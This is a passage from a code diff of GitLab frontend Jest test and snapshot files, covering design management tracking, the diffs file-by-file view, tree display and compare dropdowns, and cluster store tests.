+ aria-hidden="true"
class="gl-icon s16 gl-new-dropdown-item-check-icon gl-visibility-hidden"
data-testid="mobile-issue-close-icon"
>
diff --git a/spec/frontend/clusters/stores/clusters_store_spec.js b/spec/frontend/clusters/stores/clusters_store_spec.js
index ed862818c7b..381a4717127 100644
--- a/spec/frontend/clusters/stores/clusters_store_spec.js
+++ b/spec/frontend/clusters/stores/clusters_store_spec.js
@@ -50,6 +50,7 @@ describe('Clusters Store', () => {
expect(store.state).toEqual({
helpPath: null,
+ helmHelpPath: null,
ingressHelpPath: null,
environmentsHelpPath: null,
clustersHelpPath: null,
@@ -62,7 +63,7 @@ describe('Clusters Store', () => {
rbac: false,
applications: {
helm: {
- title: 'Helm Tiller',
+ title: 'Legacy Helm Tiller server',
status: mockResponseData.applications[0].status,
statusReason: mockResponseData.applications[0].status_reason,
requestReason: null,
diff --git a/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap b/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap
index 62e527a2c5f..b59d1597a12 100644
--- a/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap
+++ b/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap
@@ -17,6 +17,7 @@ exports[`Code navigation popover component renders popover 1`] = `
>
<gl-tab-stub
title="Definition"
+ titlelinkclass=""
>
<div
class="overflow-auto code-navigation-popover-container"
@@ -76,6 +77,7 @@ exports[`Code navigation popover component renders popover 1`] = `
<gl-tab-stub
class="py-2"
data-testid="references-tab"
+ titlelinkclass=""
>
<p
diff --git a/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js b/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js
index f12f300872a..f14a555f357 100644
--- a/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js
+++ b/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js
@@ -186,7 +186,7 @@ describe('EKS Cluster Store Actions', () => {
role_external_id: payload.externalId,
region: DEFAULT_REGION,
})
- .reply(400, error);
+ .reply(400, null);
});
it('dispatches createRoleError action', () =>
@@ -198,6 +198,32 @@ describe('EKS Cluster Store Actions', () => {
[{ type: 'requestCreateRole' }, { type: 'createRoleError', payload: { error } }],
));
});
+
+ describe('when request fails with a message', () => {
+ beforeEach(() => {
+ const errResp = { message: 'Something failed' };
+
+ mock
+ .onPost(state.createRolePath, {
+ role_arn: payload.roleArn,
+ role_external_id: payload.externalId,
+ region: DEFAULT_REGION,
+ })
+ .reply(4, errResp);
+ });
+
+ it('dispatches createRoleError action', () =>
+ testAction(
+ actions.createRole,
+ payload,
+ state,
+ [],
+ [
+ { type: 'requestCreateRole' },
+ { type: 'createRoleError', payload: { error: 'Something failed' } },
+ ],
+ ));
+ });
});
describe('requestCreateRole', () => {
diff --git a/spec/frontend/cycle_analytics/banner_spec.js b/spec/frontend/cycle_analytics/banner_spec.js
index f0b8cb18a90..0cae0298cee 100644
--- a/spec/frontend/cycle_analytics/banner_spec.js
+++ b/spec/frontend/cycle_analytics/banner_spec.js
@@ -2,7 +2,7 @@ import Vue from 'vue';
import mountComponent from 'helpers/vue_mount_component_helper';
import banner from '~/cycle_analytics/components/banner.vue';
-describe('Cycle analytics banner', () => {
+describe('Value Stream Analytics banner', () => {
let vm;
beforeEach(() => {
diff --git a/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap b/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
index 1e94e90c3b0..8c6b446794f 100644
--- a/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
+++ b/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
@@ -2,7 +2,7 @@
exports[`Design management design version dropdown component renders design version dropdown button 1`] = `
<gl-dropdown-stub
- category="tertiary"
+ category="primary"
headertext=""
issueiid=""
projectpath=""
@@ -14,6 +14,7 @@ exports[`Design management design version dropdown component renders design vers
avatarurl=""
iconcolor=""
iconname=""
+ iconrightarialabel=""
iconrightname=""
ischecked="true"
ischeckitem="true"
@@ -27,6 +28,7 @@ exports[`Design management design version dropdown component renders design vers
avatarurl=""
iconcolor=""
iconname=""
+ iconrightarialabel=""
iconrightname=""
ischeckitem="true"
secondarytext=""
@@ -40,7 +42,7 @@ exports[`Design management design version dropdown component renders design vers
exports[`Design management design version dropdown component renders design version list 1`] = `
<gl-dropdown-stub
- category="tertiary"
+ category="primary"
headertext=""
issueiid=""
projectpath=""
@@ -52,6 +54,7 @@ exports[`Design management design version dropdown component renders design vers
avatarurl=""
iconcolor=""
iconname=""
+ iconrightarialabel=""
iconrightname=""
ischecked="true"
ischeckitem="true"
@@ -65,6 +68,7 @@ exports[`Design management design version dropdown component renders design vers
avatarurl=""
iconcolor=""
iconname=""
+ iconrightarialabel=""
iconrightname=""
ischeckitem="true"
secondarytext=""
diff --git a/spec/frontend/design_management/pages/design/index_spec.js b/spec/frontend/design_management/pages/design/index_spec.js
index 88892bb1878..9c11af28cf0 100644
--- a/spec/frontend/design_management/pages/design/index_spec.js
+++ b/spec/frontend/design_management/pages/design/index_spec.js
@@ -2,7 +2,9 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import VueRouter from 'vue-router';
import { GlAlert } from '@gitlab/ui';
import { ApolloMutation } from 'vue-apollo';
+import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
import createFlash from '~/flash';
+import Api from '~/api';
import DesignIndex from '~/design_management/pages/design/index.vue';
import DesignSidebar from '~/design_management/components/design_sidebar.vue';
import DesignPresentation from '~/design_management/components/design_presentation.vue';
@@ -20,8 +22,14 @@ import design from '../../mock_data/design';
import mockResponseWithDesigns from '../../mock_data/designs';
import mockResponseNoDesigns from '../../mock_data/no_designs';
import mockAllVersions from '../../mock_data/all_versions';
+import {
+ DESIGN_TRACKING_PAGE_NAME,
+ DESIGN_SNOWPLOW_EVENT_TYPES,
+ DESIGN_USAGE_PING_EVENT_TYPES,
+} from '~/design_management/utils/tracking';
jest.mock('~/flash');
+jest.mock('~/api.js');
const focusInput = jest.fn();
const mutate = jest.fn().mockResolvedValue();
@@ -81,7 +89,10 @@ describe('Design management design index page', () => {
const findSidebar = () => wrapper.find(DesignSidebar);
const findDesignPresentation = () => wrapper.find(DesignPresentation);
- function createComponent({ loading = false } = {}, { data = {}, intialRouteOptions = {} } = {}) {
+ function createComponent(
+ { loading = false } = {},
+ { data = {}, intialRouteOptions = {}, provide = {} } = {},
+ ) {
const $apollo = {
queries: {
design: {
@@ -106,6 +117,7 @@ describe('Design management design index page', () => {
provide: {
issueIid: '1',
projectPath: 'project-path',
+ ...provide,
},
data() {
return {
@@ -343,4 +355,64 @@ describe('Design management design index page', () => {
});
});
});
+
+ describe('tracking', () => {
+ let trackingSpy;
+
+ beforeEach(() => {
+ trackingSpy = mockTracking('_category_', undefined, jest.spyOn);
+ });
+
+ afterEach(() => {
+ unmockTracking();
+ });
+
+ describe('on mount', () => {
+ it('tracks design view in snowplow', () => {
+ createComponent({ loading: true });
+
+ expect(trackingSpy).toHaveBeenCalledTimes(1);
+ expect(trackingSpy).toHaveBeenCalledWith(
+ DESIGN_TRACKING_PAGE_NAME,
+ DESIGN_SNOWPLOW_EVENT_TYPES.VIEW_DESIGN,
+ {
+ context: {
+ data: {
+ 'design-collection-owner': 'issue',
+ 'design-is-current-version': true,
+ 'design-version-number': 1,
+ 'internal-object-referrer': 'issue-design-collection',
+ },
+ schema: 'iglu:com.gitlab/design_management_context/jsonschema/1-0-0',
+ },
+ label: DESIGN_SNOWPLOW_EVENT_TYPES.VIEW_DESIGN,
+ },
+ );
+ });
+
+ describe('with usage_data_design_action enabled', () => {
+ it('tracks design view usage ping', () => {
+ createComponent(
+ { loading: true },
+ {
+ provide: {
+ glFeatures: { usageDataDesignAction: true },
+ },
+ },
+ );
+ expect(Api.trackRedisHllUserEvent).toHaveBeenCalledTimes(1);
+ expect(Api.trackRedisHllUserEvent).toHaveBeenCalledWith(
+ DESIGN_USAGE_PING_EVENT_TYPES.DESIGN_ACTION,
+ );
+ });
+ });
+
+ describe('with usage_data_design_action disabled', () => {
+ it("doesn't track design view usage ping", () => {
+ createComponent({ loading: true });
+ expect(Api.trackRedisHllUserEvent).toHaveBeenCalledTimes(0);
+ });
+ });
+ });
+ });
});
diff --git a/spec/frontend/design_management/pages/index_spec.js b/spec/frontend/design_management/pages/index_spec.js
index 05238efd761..147169dd9aa 100644
--- a/spec/frontend/design_management/pages/index_spec.js
+++ b/spec/frontend/design_management/pages/index_spec.js
@@ -31,7 +31,10 @@ import {
moveDesignMutationResponseWithErrors,
} from '../mock_data/apollo_mock';
import moveDesignMutation from '~/design_management/graphql/mutations/move_design.mutation.graphql';
-import { DESIGN_TRACKING_PAGE_NAME } from '~/design_management/utils/tracking';
+import {
+ DESIGN_TRACKING_PAGE_NAME,
+ DESIGN_SNOWPLOW_EVENT_TYPES,
+} from '~/design_management/utils/tracking';
jest.mock('~/flash.js');
const mockPageEl = {
@@ -509,14 +512,20 @@ describe('Design management index page', () => {
wrapper.vm.onUploadDesignDone(designUploadMutationCreatedResponse);
expect(trackingSpy).toHaveBeenCalledTimes(1);
- expect(trackingSpy).toHaveBeenCalledWith(DESIGN_TRACKING_PAGE_NAME, 'create_design');
+ expect(trackingSpy).toHaveBeenCalledWith(
+ DESIGN_TRACKING_PAGE_NAME,
+ DESIGN_SNOWPLOW_EVENT_TYPES.CREATE_DESIGN,
+ );
});
it('tracks design modification', () => {
wrapper.vm.onUploadDesignDone(designUploadMutationUpdatedResponse);
expect(trackingSpy).toHaveBeenCalledTimes(1);
- expect(trackingSpy).toHaveBeenCalledWith(DESIGN_TRACKING_PAGE_NAME, 'update_design');
+ expect(trackingSpy).toHaveBeenCalledWith(
+ DESIGN_TRACKING_PAGE_NAME,
+ DESIGN_SNOWPLOW_EVENT_TYPES.UPDATE_DESIGN,
+ );
});
});
});
diff --git a/spec/frontend/diffs/components/app_spec.js b/spec/frontend/diffs/components/app_spec.js
index 225710eab63..416564b72c3 100644
--- a/spec/frontend/diffs/components/app_spec.js
+++ b/spec/frontend/diffs/components/app_spec.js
@@ -12,16 +12,19 @@ import HiddenFilesWarning from '~/diffs/components/hidden_files_warning.vue';
import CollapsedFilesWarning from '~/diffs/components/collapsed_files_warning.vue';
import CommitWidget from '~/diffs/components/commit_widget.vue';
import TreeList from '~/diffs/components/tree_list.vue';
-import { INLINE_DIFF_VIEW_TYPE, PARALLEL_DIFF_VIEW_TYPE } from '~/diffs/constants';
import createDiffsStore from '../create_diffs_store';
import axios from '~/lib/utils/axios_utils';
import * as urlUtils from '~/lib/utils/url_utility';
import diffsMockData from '../mock_data/merge_request_diffs';
+import { EVT_VIEW_FILE_BY_FILE } from '~/diffs/constants';
+
+import eventHub from '~/diffs/event_hub';
+
const mergeRequestDiff = { version_index: 1 };
const TEST_ENDPOINT = `${TEST_HOST}/diff/endpoint`;
-const COMMIT_URL = '[BASE URL]/OLD';
-const UPDATED_COMMIT_URL = '[BASE URL]/NEW';
+const COMMIT_URL = `${TEST_HOST}/COMMIT/OLD`;
+const UPDATED_COMMIT_URL = `${TEST_HOST}/COMMIT/NEW`;
function getCollapsedFilesWarning(wrapper) {
return wrapper.find(CollapsedFilesWarning);
@@ -62,7 +65,7 @@ describe('diffs/components/app', () => {
changesEmptyStateIllustration: '',
dismissEndpoint: '',
showSuggestPopover: true,
- viewDiffsFileByFile: false,
+ fileByFileUserPreference: false,
...props,
},
provide,
@@ -75,12 +78,6 @@ describe('diffs/components/app', () => {
});
}
- function getOppositeViewType(currentViewType) {
- return currentViewType === INLINE_DIFF_VIEW_TYPE
- ? PARALLEL_DIFF_VIEW_TYPE
- : INLINE_DIFF_VIEW_TYPE;
- }
-
beforeEach(() => {
// setup globals (needed for component to mount :/)
window.mrTabs = {
@@ -125,104 +122,6 @@ describe('diffs/components/app', () => {
wrapper.vm.$nextTick(done);
});
- describe('when the diff view type changes and it should load a single diff view style', () => {
- const noLinesDiff = {
- highlighted_diff_lines: [],
- parallel_diff_lines: [],
- };
- const parallelLinesDiff = {
- highlighted_diff_lines: [],
- parallel_diff_lines: ['line'],
- };
- const inlineLinesDiff = {
- highlighted_diff_lines: ['line'],
- parallel_diff_lines: [],
- };
- const fullDiff = {
- highlighted_diff_lines: ['line'],
- parallel_diff_lines: ['line'],
- };
-
- function expectFetchToOccur({ vueInstance, done = () => {}, existingFiles = 1 } = {}) {
- vueInstance.$nextTick(() => {
- expect(vueInstance.diffFiles.length).toEqual(existingFiles);
- expect(vueInstance.fetchDiffFilesBatch).toHaveBeenCalled();
-
- done();
- });
- }
-
- it('fetches diffs if it has none', done => {
- wrapper.vm.isLatestVersion = () => false;
-
- store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
-
- expectFetchToOccur({ vueInstance: wrapper.vm, existingFiles: 0, done });
- });
-
- it('fetches diffs if it has both view styles, but no lines in either', done => {
- wrapper.vm.isLatestVersion = () => false;
-
- store.state.diffs.diffFiles.push(noLinesDiff);
- store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
-
- expectFetchToOccur({ vueInstance: wrapper.vm, done });
- });
-
- it('fetches diffs if it only has inline view style', done => {
- wrapper.vm.isLatestVersion = () => false;
-
- store.state.diffs.diffFiles.push(inlineLinesDiff);
- store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
-
- expectFetchToOccur({ vueInstance: wrapper.vm, done });
- });
-
- it('fetches diffs if it only has parallel view style', done => {
- wrapper.vm.isLatestVersion = () => false;
-
- store.state.diffs.diffFiles.push(parallelLinesDiff);
- store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
-
- expectFetchToOccur({ vueInstance: wrapper.vm, done });
- });
-
- it('fetches batch diffs if it has none', done => {
- store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
-
- expectFetchToOccur({ vueInstance: wrapper.vm, existingFiles: 0, done });
- });
-
- it('fetches batch diffs if it has both view styles, but no lines in either', done => {
- store.state.diffs.diffFiles.push(noLinesDiff);
- store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
-
- expectFetchToOccur({ vueInstance: wrapper.vm, done });
- });
-
- it('fetches batch diffs if it only has inline view style', done => {
- store.state.diffs.diffFiles.push(inlineLinesDiff);
- store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
-
- expectFetchToOccur({ vueInstance: wrapper.vm, done });
- });
-
- it('fetches batch diffs if it only has parallel view style', done => {
- store.state.diffs.diffFiles.push(parallelLinesDiff);
- store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
-
- expectFetchToOccur({ vueInstance: wrapper.vm, done });
- });
-
- it('does not fetch batch diffs if it has already fetched both styles of diff', () => {
- store.state.diffs.diffFiles.push(fullDiff);
- store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
-
- expect(wrapper.vm.diffFiles.length).toEqual(1);
- expect(wrapper.vm.fetchDiffFilesBatch).not.toHaveBeenCalled();
- });
- });
-
it('calls batch methods if diffsBatchLoad is enabled, and not latest version', done => {
expect(wrapper.vm.diffFilesLength).toEqual(0);
wrapper.vm.isLatestVersion = () => false;
@@ -743,70 +642,76 @@ describe('diffs/components/app', () => {
});
});
- describe('hideTreeListIfJustOneFile', () => {
- let toggleShowTreeList;
+ describe('setTreeDisplay', () => {
+ let setShowTreeList;
beforeEach(() => {
- toggleShowTreeList = jest.fn();
+ setShowTreeList = jest.fn();
});
afterEach(() => {
localStorage.removeItem('mr_tree_show');
});
- it('calls toggleShowTreeList when only 1 file', () => {
+ it('calls setShowTreeList when only 1 file', () => {
createComponent({}, ({ state }) => {
state.diffs.diffFiles.push({ sha: '123' });
});
wrapper.setMethods({
- toggleShowTreeList,
+ setShowTreeList,
});
- wrapper.vm.hideTreeListIfJustOneFile();
+ wrapper.vm.setTreeDisplay();
- expect(toggleShowTreeList).toHaveBeenCalledWith(false);
+ expect(setShowTreeList).toHaveBeenCalledWith({ showTreeList: false, saving: false });
});
- it('does not call toggleShowTreeList when more than 1 file', () => {
+ it('calls setShowTreeList with true when more than 1 file is in diffs array', () => {
createComponent({}, ({ state }) => {
state.diffs.diffFiles.push({ sha: '123' });
state.diffs.diffFiles.push({ sha: '124' });
});
wrapper.setMethods({
- toggleShowTreeList,
+ setShowTreeList,
});
- wrapper.vm.hideTreeListIfJustOneFile();
+ wrapper.vm.setTreeDisplay();
- expect(toggleShowTreeList).not.toHaveBeenCalled();
+ expect(setShowTreeList).toHaveBeenCalledWith({ showTreeList: true, saving: false });
});
- it('does not call toggleShowTreeList when localStorage is set', () => {
- localStorage.setItem('mr_tree_show', 'true');
+ it.each`
+ showTreeList
+ ${true}
+ ${false}
+ `('calls setShowTreeList with localstorage $showTreeList', ({ showTreeList }) => {
+ localStorage.setItem('mr_tree_show', showTreeList);
createComponent({}, ({ state }) => {
state.diffs.diffFiles.push({ sha: '123' });
});
wrapper.setMethods({
- toggleShowTreeList,
+ setShowTreeList,
});
- wrapper.vm.hideTreeListIfJustOneFile();
+ wrapper.vm.setTreeDisplay();
- expect(toggleShowTreeList).not.toHaveBeenCalled();
+ expect(setShowTreeList).toHaveBeenCalledWith({ showTreeList, saving: false });
});
});
describe('file-by-file', () => {
- it('renders a single diff', () => {
- createComponent({ viewDiffsFileByFile: true }, ({ state }) => {
+ it('renders a single diff', async () => {
+ createComponent({ fileByFileUserPreference: true }, ({ state }) => {
state.diffs.diffFiles.push({ file_hash: '123' });
state.diffs.diffFiles.push({ file_hash: '312' });
});
+ await wrapper.vm.$nextTick();
+
expect(wrapper.findAll(DiffFile).length).toBe(1);
});
@@ -814,31 +719,37 @@ describe('diffs/components/app', () => {
const fileByFileNav = () => wrapper.find('[data-testid="file-by-file-navigation"]');
const paginator = () => fileByFileNav().find(GlPagination);
- it('sets previous button as disabled', () => {
- createComponent({ viewDiffsFileByFile: true }, ({ state }) => {
+ it('sets previous button as disabled', async () => {
+ createComponent({ fileByFileUserPreference: true }, ({ state }) => {
state.diffs.diffFiles.push({ file_hash: '123' }, { file_hash: '312' });
});
+ await wrapper.vm.$nextTick();
+
expect(paginator().attributes('prevpage')).toBe(undefined);
expect(paginator().attributes('nextpage')).toBe('2');
});
- it('sets next button as disabled', () => {
- createComponent({ viewDiffsFileByFile: true }, ({ state }) => {
+ it('sets next button as disabled', async () => {
+ createComponent({ fileByFileUserPreference: true }, ({ state }) => {
state.diffs.diffFiles.push({ file_hash: '123' }, { file_hash: '312' });
state.diffs.currentDiffFileId = '312';
});
+ await wrapper.vm.$nextTick();
+
expect(paginator().attributes('prevpage')).toBe('1');
expect(paginator().attributes('nextpage')).toBe(undefined);
});
- it("doesn't display when there's fewer than 2 files", () => {
- createComponent({ viewDiffsFileByFile: true }, ({ state }) => {
+ it("doesn't display when there's fewer than 2 files", async () => {
+ createComponent({ fileByFileUserPreference: true }, ({ state }) => {
state.diffs.diffFiles.push({ file_hash: '123' });
state.diffs.currentDiffFileId = '123';
});
+ await wrapper.vm.$nextTick();
+
expect(fileByFileNav().exists()).toBe(false);
});
@@ -849,11 +760,13 @@ describe('diffs/components/app', () => {
`(
'it calls navigateToDiffFileIndex with $index when $link is clicked',
async ({ currentDiffFileId, targetFile }) => {
- createComponent({ viewDiffsFileByFile: true }, ({ state }) => {
+ createComponent({ fileByFileUserPreference: true }, ({ state }) => {
state.diffs.diffFiles.push({ file_hash: '123' }, { file_hash: '312' });
state.diffs.currentDiffFileId = currentDiffFileId;
});
+ await wrapper.vm.$nextTick();
+
jest.spyOn(wrapper.vm, 'navigateToDiffFileIndex');
paginator().vm.$emit('input', targetFile);
@@ -864,5 +777,24 @@ describe('diffs/components/app', () => {
},
);
});
+
+ describe('control via event stream', () => {
+ it.each`
+ setting
+ ${true}
+ ${false}
+ `(
+ 'triggers the action with the new fileByFile setting - $setting - when the event with that setting is received',
+ async ({ setting }) => {
+ createComponent();
+ await wrapper.vm.$nextTick();
+
+ eventHub.$emit(EVT_VIEW_FILE_BY_FILE, { setting });
+ await wrapper.vm.$nextTick();
+
+ expect(store.state.diffs.viewDiffsFileByFile).toBe(setting);
+ },
+ );
+ });
});
});
diff --git a/spec/frontend/diffs/components/commit_item_spec.js b/spec/frontend/diffs/components/commit_item_spec.js
index 9e4fcddd1b4..8a7eb6aaca6 100644
--- a/spec/frontend/diffs/components/commit_item_spec.js
+++ b/spec/frontend/diffs/components/commit_item_spec.js
@@ -84,7 +84,7 @@ describe('diffs/components/commit_item', () => {
it('renders commit sha', () => {
const shaElement = getShaElement();
- const labelElement = shaElement.find('[data-testid="commit-sha-group"] button');
+ const labelElement = shaElement.find('[data-testid="commit-sha-short-id"]');
const buttonElement = shaElement.find('button.input-group-text');
expect(labelElement.text()).toEqual(commit.short_id);
diff --git a/spec/frontend/diffs/components/compare_dropdown_layout_spec.js b/spec/frontend/diffs/components/compare_dropdown_layout_spec.js
index a163a43daf1..92e4a2d9c62 100644
--- a/spec/frontend/diffs/components/compare_dropdown_layout_spec.js
+++ b/spec/frontend/diffs/components/compare_dropdown_layout_spec.js
@@ -1,4 +1,4 @@
-import { shallowMount } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import { trimText } from 'helpers/text_helper';
import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
import CompareDropdownLayout from '~/diffs/components/compare_dropdown_layout.vue';
@@ -22,7 +22,7 @@ describe('CompareDropdownLayout', () => {
});
const createComponent = (propsData = {}) => {
- wrapper = shallowMount(CompareDropdownLayout, {
+ wrapper = mount(CompareDropdownLayout, {
propsData: {
...propsData,
},
@@ -35,7 +35,7 @@ describe('CompareDropdownLayout', () => {
href: listItem.find('a').attributes('href'),
text: trimText(listItem.text()),
createdAt: listItem.findAll(TimeAgo).wrappers[0]?.props('time'),
- isActive: listItem.find('a.is-active').exists(),
+ isActive: listItem.classes().includes('is-active'),
}));
afterEach(() => {
@@ -69,7 +69,7 @@ describe('CompareDropdownLayout', () => {
expect(findListItemsData()).toEqual([
{
href: 'version/1',
- text: 'version 1 (base) abcdef1 1 commit',
+ text: 'version 1 (base) abcdef1 1 commit 2 years ago',
createdAt: TEST_CREATED_AT,
isActive: true,
},
diff --git a/spec/frontend/diffs/components/compare_versions_spec.js b/spec/frontend/diffs/components/compare_versions_spec.js
index b3dfc71260c..09e9669c474 100644
--- a/spec/frontend/diffs/components/compare_versions_spec.js
+++ b/spec/frontend/diffs/components/compare_versions_spec.js
@@ -59,8 +59,8 @@ describe('CompareVersions', () => {
expect(sourceDropdown.exists()).toBe(true);
expect(targetDropdown.exists()).toBe(true);
- expect(sourceDropdown.find('a span').html()).toContain('latest version');
- expect(targetDropdown.find('a span').html()).toContain(targetBranchName);
+ expect(sourceDropdown.find('a p').html()).toContain('latest version');
+ expect(targetDropdown.find('button').html()).toContain(targetBranchName);
});
it('should not render comparison dropdowns if no mergeRequestDiffs are specified', () => {
diff --git a/spec/frontend/diffs/components/diff_content_spec.js b/spec/frontend/diffs/components/diff_content_spec.js
index e3a6f7f16a9..43d295ff1b3 100644
--- a/spec/frontend/diffs/components/diff_content_spec.js
+++ b/spec/frontend/diffs/components/diff_content_spec.js
@@ -6,13 +6,11 @@ import InlineDiffView from '~/diffs/components/inline_diff_view.vue';
import NotDiffableViewer from '~/vue_shared/components/diff_viewer/viewers/not_diffable.vue';
import NoPreviewViewer from '~/vue_shared/components/diff_viewer/viewers/no_preview.vue';
import ParallelDiffView from '~/diffs/components/parallel_diff_view.vue';
-import ImageDiffOverlay from '~/diffs/components/image_diff_overlay.vue';
import NoteForm from '~/notes/components/note_form.vue';
import DiffDiscussions from '~/diffs/components/diff_discussions.vue';
import { IMAGE_DIFF_POSITION_TYPE } from '~/diffs/constants';
import diffFileMockData from '../mock_data/diff_file';
import { diffViewerModes } from '~/ide/constants';
-import { diffLines } from '~/diffs/store/getters';
import DiffView from '~/diffs/components/diff_view.vue';
const localVue = createLocalVue();
@@ -74,7 +72,7 @@ describe('DiffContent', () => {
isInlineView: isInlineViewGetterMock,
isParallelView: isParallelViewGetterMock,
getCommentFormForDiffFile: getCommentFormForDiffFileGetterMock,
- diffLines,
+ diffLines: () => () => [...diffFileMockData.parallel_diff_lines],
},
actions: {
saveDiffDiscussion: saveDiffDiscussionMock,
@@ -122,11 +120,11 @@ describe('DiffContent', () => {
expect(wrapper.find(ParallelDiffView).exists()).toBe(true);
});
- it('should render diff view if `unifiedDiffLines` & `unifiedDiffComponents` are true', () => {
+ it('should render diff view if `unifiedDiffComponents` are true', () => {
isParallelViewGetterMock.mockReturnValue(true);
createComponent({
props: { diffFile: textDiffFile },
- provide: { glFeatures: { unifiedDiffLines: true, unifiedDiffComponents: true } },
+ provide: { glFeatures: { unifiedDiffComponents: true } },
});
expect(wrapper.find(DiffView).exists()).toBe(true);
@@ -167,14 +165,6 @@ describe('DiffContent', () => {
describe('with image files', () => {
const imageDiffFile = { ...defaultProps.diffFile, viewer: { name: diffViewerModes.image } };
- it('should have image diff view in place', () => {
- getCommentFormForDiffFileGetterMock.mockReturnValue(() => true);
- createComponent({ props: { diffFile: imageDiffFile } });
-
- expect(wrapper.find(InlineDiffView).exists()).toBe(false);
- expect(wrapper.find(ImageDiffOverlay).exists()).toBe(true);
- });
-
it('renders diff file discussions', () => {
getCommentFormForDiffFileGetterMock.mockReturnValue(() => true);
createComponent({
diff --git a/spec/frontend/diffs/components/diff_expansion_cell_spec.js b/spec/frontend/diffs/components/diff_expansion_cell_spec.js
index 81e08f09f62..a3b4b5c3abb 100644
--- a/spec/frontend/diffs/components/diff_expansion_cell_spec.js
+++ b/spec/frontend/diffs/components/diff_expansion_cell_spec.js
@@ -5,18 +5,16 @@ import { getByText } from '@testing-library/dom';
import { createStore } from '~/mr_notes/stores';
import DiffExpansionCell from '~/diffs/components/diff_expansion_cell.vue';
import { getPreviousLineIndex } from '~/diffs/store/utils';
-import { INLINE_DIFF_VIEW_TYPE, PARALLEL_DIFF_VIEW_TYPE } from '~/diffs/constants';
+import { INLINE_DIFF_VIEW_TYPE } from '~/diffs/constants';
import diffFileMockData from '../mock_data/diff_file';
const EXPAND_UP_CLASS = '.js-unfold';
const EXPAND_DOWN_CLASS = '.js-unfold-down';
const lineSources = {
[INLINE_DIFF_VIEW_TYPE]: 'highlighted_diff_lines',
- [PARALLEL_DIFF_VIEW_TYPE]: 'parallel_diff_lines',
};
const lineHandlers = {
[INLINE_DIFF_VIEW_TYPE]: line => line,
- [PARALLEL_DIFF_VIEW_TYPE]: line => line.right || line.left,
};
function makeLoadMoreLinesPayload({
@@ -126,7 +124,6 @@ describe('DiffExpansionCell', () => {
describe('any row', () => {
[
{ diffViewType: INLINE_DIFF_VIEW_TYPE, lineIndex: 8, file: { parallel_diff_lines: [] } },
- { diffViewType: PARALLEL_DIFF_VIEW_TYPE, lineIndex: 7, file: { highlighted_diff_lines: [] } },
].forEach(({ diffViewType, file, lineIndex }) => {
describe(`with diffViewType (${diffViewType})`, () => {
beforeEach(() => {
diff --git a/spec/frontend/diffs/components/diff_file_row_spec.js b/spec/frontend/diffs/components/diff_file_row_spec.js
index 23adc8f9da4..7403a7918a9 100644
--- a/spec/frontend/diffs/components/diff_file_row_spec.js
+++ b/spec/frontend/diffs/components/diff_file_row_spec.js
@@ -7,12 +7,9 @@ import ChangedFileIcon from '~/vue_shared/components/changed_file_icon.vue';
describe('Diff File Row component', () => {
let wrapper;
- const createComponent = (props = {}, highlightCurrentDiffRow = false) => {
+ const createComponent = (props = {}) => {
wrapper = shallowMount(DiffFileRow, {
propsData: { ...props },
- provide: {
- glFeatures: { highlightCurrentDiffRow },
- },
});
};
@@ -60,26 +57,23 @@ describe('Diff File Row component', () => {
});
it.each`
- features | fileType | isViewed | expected
- ${{ highlightCurrentDiffRow: true }} | ${'blob'} | ${false} | ${'gl-font-weight-bold'}
- ${{}} | ${'blob'} | ${true} | ${''}
- ${{}} | ${'tree'} | ${false} | ${''}
- ${{}} | ${'tree'} | ${true} | ${''}
+ fileType | isViewed | expected
+ ${'blob'} | ${false} | ${'gl-font-weight-bold'}
+ ${'blob'} | ${true} | ${''}
+ ${'tree'} | ${false} | ${''}
+ ${'tree'} | ${true} | ${''}
`(
- 'with (features="$features", fileType="$fileType", isViewed=$isViewed), sets fileClasses="$expected"',
- ({ features, fileType, isViewed, expected }) => {
- createComponent(
- {
- file: {
- type: fileType,
- fileHash: '#123456789',
- },
- level: 0,
- hideFileStats: false,
- viewedFiles: isViewed ? { '#123456789': true } : {},
+ 'with (fileType="$fileType", isViewed=$isViewed), sets fileClasses="$expected"',
+ ({ fileType, isViewed, expected }) => {
+ createComponent({
+ file: {
+ type: fileType,
+ fileHash: '#123456789',
},
- features.highlightCurrentDiffRow,
- );
+ level: 0,
+ hideFileStats: false,
+ viewedFiles: isViewed ? { '#123456789': true } : {},
+ });
expect(wrapper.find(FileRow).props('fileClasses')).toBe(expected);
},
);
diff --git a/spec/frontend/diffs/components/diff_row_spec.js b/spec/frontend/diffs/components/diff_row_spec.js
index f9e76cf8107..0ec075c8ad8 100644
--- a/spec/frontend/diffs/components/diff_row_spec.js
+++ b/spec/frontend/diffs/components/diff_row_spec.js
@@ -97,18 +97,18 @@ describe('DiffRow', () => {
${'right'}
`('$side side', ({ side }) => {
it(`renders empty cells if ${side} is unavailable`, () => {
- const wrapper = createWrapper({ props: { line: testLines[2] } });
+ const wrapper = createWrapper({ props: { line: testLines[2], inline: false } });
expect(wrapper.find(`[data-testid="${side}LineNumber"]`).exists()).toBe(false);
expect(wrapper.find(`[data-testid="${side}EmptyCell"]`).exists()).toBe(true);
});
it('renders comment button', () => {
